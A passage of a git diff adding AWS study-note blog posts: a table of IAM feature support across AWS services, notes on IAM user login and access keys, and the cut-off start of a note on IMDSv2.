[Yes](https://docs.aws.amazon.com/license-manager/latest/userguide/using-service-linked-roles.html) +[Amazon Managed Service for Grafana](https://docs.aws.amazon.com/grafana/latest/userguide/index.html) | Yes | Yes | No | No | Yes | No +[Amazon Managed Service for Prometheus](https://docs.aws.amazon.com/prometheus/latest/userguide/what-is-Amazon-Managed-Service-Prometheus.html) | Yes | Yes | No | No | Yes | No +[AWS OpsWorks](https://docs.aws.amazon.com/opsworks/latest/userguide/opsworks-security-users.html) | Yes | Yes | No | Yes | Yes | No +[AWS OpsWorks for Chef Automate](https://docs.aws.amazon.com/opsworks/latest/userguide/opsworks-security-users.html) | Yes | Yes | No | Yes | Yes | No +[AWS OpsWorks Configuration Management](https://docs.aws.amazon.com/opsworks/latest/userguide/security-iam-opscm.html) | Yes | No | No | No | Yes | No +[AWS Organizations](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_permissions_overview.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/organizations/latest/userguide/orgs_integrate_services.html#orgs_integrate_services-using_slrs) +[AWS Proton](https://docs.aws.amazon.com/proton/latest/adminguide/Welcome.html) | Yes | Yes | No | No | Yes | No +[AWS Resource Groups](https://docs.aws.amazon.com/ARG/latest/userguide/gettingstarted-prereqs.html#rg-permissions) | Yes | Yes | No | Yes | Partial³ | No +[Resource Groups Tagging API](https://docs.aws.amazon.com/resourcegroupstagging/latest/APIReference/Welcome.html) | Yes | No | No | No | Yes | No +[AWS Service Catalog](https://docs.aws.amazon.com/servicecatalog/latest/adminguide/permissions.html) | Yes | Yes | No | Partial⁴ | Yes | No +[AWS Systems Manager](https://docs.aws.amazon.com/systems-manager/latest/userguide/auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/systems-manager/latest/userguide/using-service-linked-roles.html) +[AWS Tag Editor](https://docs.aws.amazon.com/ARG/latest/userguide/gettingstarted-prereqs.html#rg-permissions) | Yes | No | No | No | Yes | No +[AWS Trusted Advisor](https://aws.amazon.com/premiumsupport/ta-iam/) | Partial⁵ | Yes | No | No | Partial | [Yes](https://docs.aws.amazon.com/awssupport/latest/user/using-service-linked-roles-ta.html) +[AWS Well-Architected Tool](https://docs.aws.amazon.com/wellarchitected/latest/userguide/security_iam_service-with-iam.html) | Yes | Yes | No | No | Yes | No +[Service Quotas](https://docs.aws.amazon.com/servicequotas/latest/userguide/identity-access-management.html) | Yes | Yes | No | Yes | Yes | No + +¹ Amazon CloudWatch service-linked roles cannot be created using the AWS Management Console, and support only the [Alarm Actions](https://docs.aws.amazon.com/AmazonCloudWatch/latest/monitoring/UsingAlarmActions.html) feature. + +² AWS Config supports resource-level permissions for multi-account multi-Region data aggregation and AWS Config Rules. For a list of supported resources, see the **Multi-Account Multi-Region Data Aggregation** section and **AWS Config Rules** section of [AWS Config API Guide](https://docs.aws.amazon.com/config/latest/APIReference/Welcome.html). + +³ Users can assume a role with a policy that allows AWS Resource Groups operations. + +⁴ AWS Service Catalog supports tag-based access control for only actions that match API operations with one resource in the input. + +⁵ API access to Trusted Advisor is through the AWS Support API and is controlled by AWS Support IAM policies. + +--- + +## Migration and transfer services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS Application Discovery Service](https://docs.aws.amazon.com/application-discovery/latest/userguide/what-is-appdiscovery.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/application-discovery/latest/userguide/using-service-linked-roles.html) +[AWS Application Discovery Arsenal](https://docs.aws.amazon.com/application-discovery/latest/userguide/what-is-appdiscovery.html) | Yes | No | No | No | Yes | No +[AWS Connector Service](https://docs.aws.amazon.com/server-migration-service/latest/userguide/SMS_setup.html) | Yes | No | No | No | Yes | No +[AWS Transfer for SFTP](https://docs.aws.amazon.com/transfer/latest/userguide/security-iam.html) | Yes | Yes | No | Yes | Yes | No +[AWS Database Migration Service](https://docs.aws.amazon.com/dms/latest/userguide/CHAP_Security.IAMPermissions.html) | Yes | Yes | Yes¹ | Yes | Yes | No +[AWS DataSync](https://docs.aws.amazon.com/datasync/latest/userguide/iam.html) | Yes | Yes | No | Yes | Yes | No +[AWS Migration Hub](https://docs.aws.amazon.com/migrationhub/latest/ug/auth-and-access-control.html) | Yes | Yes | No | No | Yes | [Yes](https://docs.aws.amazon.com/migrationhub/latest/ug/using-service-linked-roles.html) +[AWS Server Migration Service](https://docs.aws.amazon.com/server-migration-service/latest/userguide/identity-access-management.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/server-migration-service/latest/userguide/using-service-linked-roles.html) + +¹ You can create and modify policies that are attached to AWS KMS encryption keys you create to encrypt data migrated to supported target endpoints. The supported target endpoints include Amazon Redshift and Amazon S3. For more information, see [Creating and Using AWS KMS Keys to Encrypt Amazon Redshift Target Data](https://docs.aws.amazon.com/dms/latest/userguide/CHAP_Target.Redshift.html#CHAP_Target.Redshift.KMSKeys) and [Creating AWS KMS Keys to Encrypt Amazon S3 Target Objects](https://docs.aws.amazon.com/dms/latest/userguide/CHAP_Target.S3.html#CHAP_Target.S3.KMSKeys) in the _AWS Database Migration Service User Guide_. + +--- + +## Mobile services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS Amplify](https://docs.aws.amazon.com/amplify/latest/userguide/welcome.html) | Yes | Yes | No | Yes | Yes | No +[AWS Amplify Admin](https://docs.aws.amazon.com/amplify-admin-ui/latest/APIReference/what-is-admin-ui.html) | Yes | Yes | No | No | Yes | No +[AWS AppSync](https://docs.aws.amazon.com//appsync/latest/devguide/security-authorization-use-cases.html) | Yes | Yes | No | Yes | Yes | No +[AWS Device Farm](https://docs.aws.amazon.com/devicefarm/latest/developerguide/permissions.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Location](https://docs.aws.amazon.com/location/latest/developerguide/what-is.html) | Yes | Yes | No | No | Yes | No + +--- + +## Networking and content delivery services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon API Gateway](https://docs.aws.amazon.com/apigateway/latest/developerguide/permissions.html) | Yes | Yes | Yes | Yes | Yes | [Yes](https://docs.aws.amazon.com/apigateway/latest/developerguide/using-service-linked-roles.html) +[AWS App Mesh](https://docs.aws.amazon.com/app-mesh/latest/userguide/IAM_policies.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/app-mesh/latest/userguide/using-service-linked-roles.html) +[Amazon CloudFront](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | [Partial³](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-permissions.html#using-service-linked-roles) +[AWS Cloud Map](https://docs.aws.amazon.com/cloud-map/latest/dg/auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | No +[AWS Direct Connect](https://docs.aws.amazon.com/directconnect/latest/UserGuide/using_iam.html) | Yes | Yes | No | [Yes](https://docs.aws.amazon.com/directconnect/latest/UserGuide/using_tags.html) | Yes | No +[AWS Global Accelerator](https://docs.aws.amazon.com/global-accelerator/latest/dg/auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/global-accelerator/latest/dg/using-service-linked-roles.html) +[Network Manager](https://docs.aws.amazon.com/vpc/latest/tgw/nm-security-iam.html) | Yes | Yes | Yes | Yes | Yes | [Yes](https://docs.aws.amazon.com/vpc/latest/tgw/nm-service-linked-roles.html) +[Amazon Route 53](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/auth-and-access-control.html) | Yes | Yes | No | No | Yes | No +[Amazon Route 53 Resolver](https://docs.aws.amazon.com/Route53/latest/DeveloperGuide/auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | No +[AWS Tiros](https://docs.aws.amazon.com/vpc/latest/reachability/what-is-reachability-analyzer.html) | Yes | No | No | No | No | No +[Amazon Virtual Private Cloud (Amazon VPC)](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_IAM.html) | Yes | Partial¹ | Partial² | No | Yes | No + +¹ In an IAM user policy, you cannot restrict permissions to a specific Amazon VPC endpoint. Any `Action` element that includes the `ec2:*VpcEndpoint*` or `ec2:DescribePrefixLists` API actions must specify "`"Resource": "*"`". For more information, see [Controlling the Use of Endpoints](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-endpoints.html#vpc-endpoints-iam-access) in the _Amazon VPC User Guide_. + +² Amazon VPC supports attaching a single resource policy to a VPC endpoint to restrict what can be accessed through that endpoint. For more information about using resource-based policies to control access to resources from specific Amazon VPC endpoints, see [Using Endpoint Policies](https://docs.aws.amazon.com/vpc/latest/userguide/vpc-endpoints.html#vpc-endpoint-policies) in the _Amazon VPC User Guide_. + +³ Amazon CloudFront doesn't have service-linked roles, but Lambda@Edge does. For more information, see [Service-Linked Roles for Lambda@Edge](https://docs.aws.amazon.com/AmazonCloudFront/latest/DeveloperGuide/lambda-edge-permissions.html#using-service-linked-roles) in the Amazon CloudFront Developer Guide. + +--- + +## Media services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon Elastic Transcoder](https://docs.aws.amazon.com/elastictranscoder/latest/developerguide/security.html) | Yes | Yes | No | No | Yes | No +[AWS Elemental Appliances and Software](https://docs.aws.amazon.com/elemental-appliances-software/latest/ug/what-is.html) | Yes | Yes | No | Yes | Yes | No +[AWS Elemental Appliances and Software Activation Service](https://docs.aws.amazon.com/elemental-appliances-software/latest/ug/what-is.html) | Yes | Yes | No | Yes | Yes | No +[AWS Elemental MediaConnect](https://docs.aws.amazon.com/mediaconnect/latest/ug/auth-and-access-control.html) | Yes | Yes | No | No | Yes | No +[AWS Elemental MediaConvert](https://docs.aws.amazon.com/mediaconvert/latest/ug/auth-and-access-control.html) | Yes | Yes | No | [Yes](https://docs.aws.amazon.com/mediaconvert/latest/ug/example-policies.html#example-policy-tag-based-access-control-using-resource-tags) | Yes | No +[AWS Elemental MediaLive](https://docs.aws.amazon.com/medialive/latest/ug/setting-up-for-production.html) | Yes | Yes | No | Yes | Yes | No +[AWS Elemental MediaPackage](https://docs.aws.amazon.com/mediapackage/latest/ug/setting-up.html) | Yes | Yes | No | Yes | Yes | No +[AWS Elemental MediaPackage VOD](https://docs.aws.amazon.com/mediapackage/latest/ug/setting-up.html) | Yes | Yes | No | Yes | Yes | No +[AWS Elemental MediaStore](https://docs.aws.amazon.com/mediastore/latest/ug/setting-up.html) | Yes | Yes | Yes | No | Yes | No +[AWS Elemental MediaTailor](https://docs.aws.amazon.com/mediatailor/latest/ug/setting-up.html) | Yes | Yes | No | Yes | Yes | No +[AWS Elemental Support Cases](https://docs.aws.amazon.com/elemental-appliances-software/latest/ug/what-is.html) | Yes | No | No | No | Yes | No +[AWS Elemental Support Content](https://docs.aws.amazon.com/elemental-appliances-software/latest/ug/what-is.html) | Yes | No | No | No | Yes | No +[Amazon Interactive Video Service](https://docs.aws.amazon.com/ivs/latest/userguide/security.html) | Yes | Yes | No | Yes | Yes | No +[Kinesis Video Streams](https://docs.aws.amazon.com/kinesisvideostreams/latest/dg/how-iam.html) | Yes | Yes | No | Yes | Yes | No + +--- + +## Analytics services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon Athena](https://docs.aws.amazon.com/athena/latest/ug/access.html) | Yes | Yes | No | Yes | Yes | No +[Amazon CloudSearch](https://docs.aws.amazon.com/cloudsearch/latest/developerguide/configureaccess.html) | Yes | Yes | No | No | Yes | No +[AWS Data Exchange](https://docs.aws.amazon.com/data-exchange/latest/userguide/auth-access.html) | Yes | Yes | No | Yes | Yes | No +[AWS Data Pipeline](https://docs.aws.amazon.com/datapipeline/latest/DeveloperGuide/dp-concepts-roles.html) | Yes | No | No | Yes | Yes | No +[Amazon Elasticsearch Service](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/es-createupdatedomains.html#es-createdomain-configure-access-policies) | Yes | Yes | Yes | No | Yes | [Yes](https://docs.aws.amazon.com/elasticsearch-service/latest/developerguide/slr-es.html) +[Amazon EMR](https://docs.aws.amazon.com/emr/latest/ManagementGuide/emr-plan-access-iam.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/emr/latest/ManagementGuide/using-service-linked-roles.html) +[Amazon EMR on EKS (EMR Containers)](https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/emr-eks.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/emr/latest/EMR-on-EKS-DevelopmentGuide/using-service-linked-roles.html) +[AWS Glue](https://docs.aws.amazon.com/glue/latest/dg/authentication-and-access-control.html) | Yes | Yes | Yes | [Partial](https://docs.aws.amazon.com/glue/latest/dg/monitor-tags.html) | Yes | No +[AWS Glue DataBrew](https://docs.aws.amazon.com/databrew/latest/dg/security_iam_service-with-iam.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Kinesis Data Analytics](https://docs.aws.amazon.com/kinesisanalytics/latest/dev/authentication-and-access-control.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Kinesis Data Analytics V2](https://docs.aws.amazon.com/kinesisanalytics/latest/apiv2/Welcome.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Kinesis Data Firehose](https://docs.aws.amazon.com/firehose/latest/dev/controlling-access.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Kinesis Data Streams](https://docs.aws.amazon.com/streams/latest/dev/controlling-access.html) | Yes | Yes | No | No | Yes | No +[AWS Lake Formation](https://docs.aws.amazon.com/lake-formation/latest/dg/security-data-access.html) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/lake-formation/latest/dg/service-linked-roles.html) +[Amazon Managed Streaming for Apache Kafka (MSK)](https://docs.aws.amazon.com/msk/latest/developerguide/security_iam_service-with-iam.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Managed Workflows for Apache Airflow](https://docs.aws.amazon.com/mwaa/latest/userguide/what-is-mwaa.html) | Yes | Yes | No | Yes | Yes | No +[Amazon QuickSight](https://docs.aws.amazon.com/quicksight/latest/user/managing-access.html) | Yes | Yes | No | Yes | Yes | No + +--- + +## Application integration services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon AppFlow](https://docs.aws.amazon.com/appflow/latest/userguide/identity-access-management.html) | Yes | Yes | No | Yes | Yes | No +[Amazon EventBridge](https://docs.aws.amazon.com/eventbridge/latest/userguide/auth-and-access-control-eventbridge.html) | Yes | Yes | [Yes](https://docs.aws.amazon.com/eventbridge/latest/userguide/resource-based-policies-schemas.html) | Yes | Yes | No +[Amazon EventBridge Schemas](https://docs.aws.amazon.com/eventbridge/latest/userguide/auth-and-access-control-eventbridge.html) | Yes | Yes | [Yes](https://docs.aws.amazon.com/eventbridge/latest/userguide/resource-based-policies-schemas.html) | Yes | Yes | No +[Amazon MQ](https://docs.aws.amazon.com/amazon-mq/latest/developer-guide/amazon-mq-security.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/amazon-mq/latest/developer-guide/using-service-linked-roles.html) +[Amazon Simple Notification Service (Amazon SNS)](https://docs.aws.amazon.com/sns/latest/dg/UsingIAMwithSNS.html) | Yes | Yes | Yes | No | Yes | No +[Amazon Simple Queue Service (Amazon SQS)](https://docs.aws.amazon.com/AWSSimpleQueueService/latest/SQSDeveloperGuide/UsingIAM.html) | Yes | Yes | Yes | No | Yes | No +[AWS Step Functions](https://docs.aws.amazon.com/step-functions/latest/dg/security.html) | Yes | Yes | No | [Yes](https://docs.aws.amazon.com/step-functions/latest/dg/tag-based-policies.html) | Yes | No +[Amazon Simple Workflow Service (Amazon SWF)](https://docs.aws.amazon.com/amazonswf/latest/developerguide/swf-dev-iam.html) | Yes | Yes | No | Yes | Yes | No + +--- + + +## Business applications services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- + +Alexa for Business | Yes | Yes | No | No | Yes | No +[Amazon Chime](https://docs.aws.amazon.com/chime/latest/ag/control-access.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/chime/latest/ag/using-service-linked-roles.html) +[Amazon Honeycode](https://docs.aws.amazon.com/honeycode/latest/UserGuide/getting-started-authorization.html) | Yes | Yes | No | No | Yes | No +[Amazon WorkMail](https://docs.aws.amazon.com/workmail/latest/adminguide/security-iam.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/workmail/latest/adminguide/using-service-linked-roles.html) + +--- + +## Satellite services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS Ground Station](https://docs.aws.amazon.com/ground-station/latest/ug/auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | No + +--- + +## Internet of Things services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS IoT 1-Click](https://docs.aws.amazon.com/iot-1-click/latest/developerguide/what-is-1click.html) | Yes | Yes | No | Yes | Yes | No +[AWS IoT Greengrass](https://docs.aws.amazon.com/greengrass/latest/developerguide/what-is-gg.html) | Yes | Yes | No | Yes | Yes | No +[AWS IoT Greengrass V2](https://docs.aws.amazon.com/greengrass/v2/developerguide/what-is-iot-greengrass.html) | Yes | Yes | No | Yes | Yes | No +[AWS IoT](https://docs.aws.amazon.com/iot/latest/developerguide/iot-security-identity.html) | [Yes](https://docs.aws.amazon.com/iot/latest/developerguide/policy-actions.html) | [Yes](https://docs.aws.amazon.com/iot/latest/developerguide/action-resources.html) | Partial¹ | [Yes](https://docs.aws.amazon.com/iot/latest/developerguide/tagging-iot-iam.html) | Yes | No +[AWS IoT Analytics](https://docs.aws.amazon.com/iotanalytics/latest/userguide/security.html) | Yes | Yes | No | Yes | Yes | No +[AWS IoT Core Device Advisor](https://docs.aws.amazon.com/iot/latest/developerguide/device-advisor.html) | Yes | Yes | No | Yes | Yes | No +[AWS IoT Core for LoRaWAN](https://docs.aws.amazon.com/iot/latest/developerguide/what-is-aws-iot.html) | Yes | Yes | No | Yes | Yes | No +[AWS IoT Device Tester](https://docs.aws.amazon.com/freertos/latest/userguide/dev-tester-prereqs.html) | Yes | No | No | No | Yes | No +[AWS IoT Events](https://docs.aws.amazon.com/iotevents/latest/developerguide/security-iam.html) | Yes | Yes | No | Yes | Yes | No +[AWS IoT SiteWise](https://docs.aws.amazon.com/iot-sitewise/latest/userguide/set-up-aws-account.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/iot-sitewise/latest/userguide/using-service-linked-roles.html) +[AWS IoT Things Graph](https://docs.aws.amazon.com/thingsgraph/latest/ug/iot-tg-security.html) | Yes | No | No | No | Yes | No +[Fleet Hub for AWS IoT Device Management](https://docs.aws.amazon.com/iot/latest/fleethubuserguide/what-is-aws-iot-monitor.html) | Yes | Yes | No | Yes | Yes | No +[FreeRTOS](https://docs.aws.amazon.com/freertos/latest/userguide/security-iam.html) | Yes | Yes | No | Yes | Yes | No + +¹ Devices connected to AWS IoT are authenticated by using X.509 certificates or using Amazon Cognito Identities. You can attach AWS IoT policies to an X.509 certificate or Amazon Cognito Identity to control what the device is authorized to do. For more information, see [Security and Identity for AWS IoT](https://docs.aws.amazon.com/iot/latest/developerguide/iot-security-identity.html) in the _AWS IoT Developer Guide_. + +--- + +## Robotics services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- + +[RoboMaker](https://docs.aws.amazon.com/robomaker/latest/dg/what-is-robomaker.html) | Yes | Yes | No | [Yes](https://docs.aws.amazon.com/robomaker/latest/dg/auth-and-access-control.html) | Yes | [Yes](https://docs.aws.amazon.com/robomaker/latest/dg/using-service-linked-roles.html) + +--- + +## Quantum Computing Services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon Braket](https://docs.aws.amazon.com/braket/latest/developerguide/what-is-braket.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/braket/latest/developerguide/braket-slr.html) + +--- + +## Blockchain services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon Managed Blockchain](https://docs.aws.amazon.com/managed-blockchain/latest/managementguide/managed-blockchain-auth-and-access-control.html) | Yes | Yes | No | Yes | Yes | No + +--- + +## Game development services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon GameLift](https://docs.aws.amazon.com/gamelift/latest/developerguide/security-iam.html) | Yes | Yes | No | Yes | Yes | No + +--- + +## AR & VR services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon Sumerian](https://docs.aws.amazon.com/sumerian/latest/userguide/sumerian-permissions.html) | Yes | Yes | No | No | Yes | No + +--- + +## Customer enablement services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS IQ](https://docs.aws.amazon.com/aws-iq/latest/user-guide/security.html) | Yes | No | No | No | Yes | No +[AWS IQ Permissions](https://docs.aws.amazon.com/aws-iq/latest/experts-user-guide/working-with-permissions-requests.html) | No | No | No | No | Yes | No +[AWS Support](https://docs.aws.amazon.com/awssupport/latest/user/getting-started.html#accessing-support) | Yes | No | No | No | Yes | [Yes](https://docs.aws.amazon.com/awssupport/latest/user/using-service-linked-roles-sup.html) + +--- + +## Customer engagement services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon AppIntegrations](https://docs.aws.amazon.com/connect/latest/adminguide/what-is-amazon-connect.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Connect](https://docs.aws.amazon.com/connect/latest/adminguide/what-is-amazon-connect.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/connect/latest/adminguide/connect-slr.html) +[Amazon Connect Customer Profiles](https://docs.aws.amazon.com/customerprofiles/latest/APIReference/Welcome.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Pinpoint](https://docs.aws.amazon.com/pinpoint/latest/developerguide/permissions-actions.html) | Yes | Yes | No | Yes | Yes | No +[Amazon Pinpoint Email Service](https://docs.aws.amazon.com/pinpoint/latest/developerguide/) | Yes | Yes | No | Yes | Yes | No +[Amazon Pinpoint SMS and Voice Service](https://docs.aws.amazon.com/pinpoint/latest/developerguide/) | Yes | No | No | No | Yes | No +[Amazon Simple Email Service (Amazon SES)](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/UsingWithIAM.html) | Yes | Partial¹ | Yes | Yes | Partial² | No + +¹ You can only use resource-level permissions in policy statements that refer to actions related to sending email, such as `ses:SendEmail` or `ses:SendRawEmail`. For policy statements that refer to any other actions, the Resource element can only contain `*`. + +² Only the Amazon SES API supports temporary security credentials. The Amazon SES SMTP interface does not support SMTP credentials that are derived from temporary security credentials. + +--- + +## End user computing services + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[Amazon AppStream](https://docs.aws.amazon.com/appstream/latest/developerguide/appstream-security.html) | Yes | No | No | No | Yes | No +[Amazon AppStream 2.0](https://docs.aws.amazon.com/appstream2/latest/developerguide/controlling-access.html) | Yes | Yes | No | Yes | Yes | No +[Amazon WAM](https://docs.aws.amazon.com/wam/latest/adminguide/iam.html) | Yes | No | No | No | Yes | No +[Amazon WorkDocs](https://docs.aws.amazon.com/workdocs/latest/adminguide/setting_up.html#iam_policies) | Yes | No | No | No | Yes | No +[Amazon WorkLink](https://docs.aws.amazon.com/worklink/latest/ag/what-is.html) | Yes | Yes | No | Yes | Yes | [Yes](https://docs.aws.amazon.com/worklink/latest/ag/using-service-linked-roles.html) +[Amazon WorkSpaces](https://docs.aws.amazon.com/workspaces/latest/adminguide/wsp_iam.html) | Yes | Yes | No | Yes | Yes | No + +--- + +## Additional resources + +**Service** | **Actions** | **Resource-level permissions** | **Resource-based policies** | **Authorization based on tags** | **Temporary credentials** | **Service-linked roles** | +---|---|---|---|---|---|--- +[AWS Activate](https://aws.amazon.com/activate/faq/#AWS_Activate_Console) | Yes | No | No | No | Yes | No +[AWS Billing and Cost Management](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/ControllingAccessWebsite.html) | Yes | No | No | No | Yes | No +[AWS Budget Service](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/budgets-managing-costs.html) | Yes | Yes | No | No | No | No +[AWS Cost and Usage Report](https://docs.aws.amazon.com/cur/latest/userguide/what-is-cur.html) | Yes | Yes | No | No | Yes | No +[AWS Cost Explorer](https://docs.aws.amazon.com/awsaccountbilling/latest/aboutv2/ce-what-is.html) | Yes | No | No | No | Yes | No +[AWS Marketplace](https://docs.aws.amazon.com/marketplace/latest/controlling-access/ControllingAccessToAWSMarketplaceSubscriptions.html) | Yes | No | No | No | Yes | No +[AWS Marketplace Catalog](https://docs.aws.amazon.com/marketplace-catalog/latest/api-reference/api-access-control.html) | Yes | Yes | No | No | Yes | No +[AWS Marketplace Commerce Analytics Service](https://docs.aws.amazon.com/marketplace/latest/userguidecommerce-analytics-service.html) | Yes | No | No | No | No | No +[AWS Private Marketplace](https://docs.aws.amazon.com/marketplace-catalog/latest/api-reference/api-access-control.html) | Yes | No | No | No | No | No +[AWS Savings Plans](https://docs.aws.amazon.com/savingsplans/latest/userguide/identity-access-management.html) | Yes | Yes | No | Yes | Yes | No + + + + + + +. diff --git a/_posts/01Cloud/01AWS/IAM/2020-07-18-IAM-User-Login.md b/_posts/01Cloud/01AWS/IAM/2020-07-18-IAM-User-Login.md new file mode 100644 index 00000000000..23b85e9fd96 --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/2020-07-18-IAM-User-Login.md @@ -0,0 +1,99 @@ +--- +title: AWS - IdenAccessManage - IAM User Login +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage] +toc: true +image: +--- + +- [IAM User Login](#iam-user-login) + - [Console password:](#console-password) + - [Security Token Service](#security-token-service) + - [Server certificates:](#server-certificates) + - [if your account compromised](#if-your-account-compromised) + +--- + + +# IAM User Login + +--- + +The following diagram shows the different methods of authentication available with IAM: + +![AWS-IAM-Authentication-Methods-1024x450](https://i.imgur.com/yAw4RLW.jpg) + +--- + +## Console password: +- sign in to interactive sessions such as the AWS Management Console. +- allow selected IAM users to change their passwords by disabling the option for all users and using an IAM policy to grant permissions for the selected users. +- The password policy + - at least one numerical character from 0 to 9. + - contain between 6 to 128 characters +- Users can be given access to change their own keys through IAM policy (not from the console). + +--- + +## Security Token Service +- provides short-term authorization that IAM roles utilize. + +**Access Keys**: +- A combination of an  access key ID  and a  secret access key + - can assign two active access keys to a user at a time. + - max limit of access keys an IAM User may possess at a time: 2 + - IAM users are allowed two sets of access keys. +- can be used to + - make programmatic calls to AWS when using the API in program code + - or at a command prompt when using the AWS CLI or the AWS PowerShell tools. +- `aws configure` + - the command needed to allow access key configuration. +- can create, modify, view or rotate access keys. +- Ensure access keys and secret access keys are stored securely. + - When created IAM returns the access key ID and secret access key. + - The secret access is returned only at creation time and if lost a new key must be created. + +- disable a user’s access key will prevents it from being used for API calls. + +- Access keys are updated immediately, once the associated IAM User's access is updated. + +- Once the secret key has been lost, generating new access keys for the application is necessary. + +- configuring access key entry to AWS account. + - Region name + - Output format + - Installation of the AWS CLI Interface + - Access key ID + - Secret access key + +--- + +## Server certificates: +- can use SSL/TLS certificates to authenticate with some AWS services. +- use the **AWS Certificate Manager (ACM)** to provision, manage and deploy server certificates. + - Use IAM only when you must support HTTPS connections in a region that is not supported by ACM. + + +--- + + +## if your account compromised + + +![Screen Shot 2020-06-12 at 18.14.58](https://i.imgur.com/wQuXgIF.png) + + + + + + + + + + + + + + +. diff --git a/_posts/01Cloud/01AWS/IAM/2020-07-18-IDMS.md b/_posts/01Cloud/01AWS/IAM/2020-07-18-IDMS.md new file mode 100644 index 00000000000..44fd91a1fca --- /dev/null +++ b/_posts/01Cloud/01AWS/IAM/2020-07-18-IDMS.md @@ -0,0 +1,156 @@ +--- +title: AWS - IdenAccessManage - IDMS +date: 2020-07-18 11:11:11 -0400 +categories: [01AWS, IdenAccessManage] +tags: [AWS, IdenAccessManage] +toc: true +image: +--- + +- [IDMS](#idms) + +--- + +# IDMS + + +Enhances Metadata Service Security with IMDSv2 + + +AWS would continue to support the previous version of the instance metadata service. +- Administrators may choose to disable IMDSv1 completely. +- 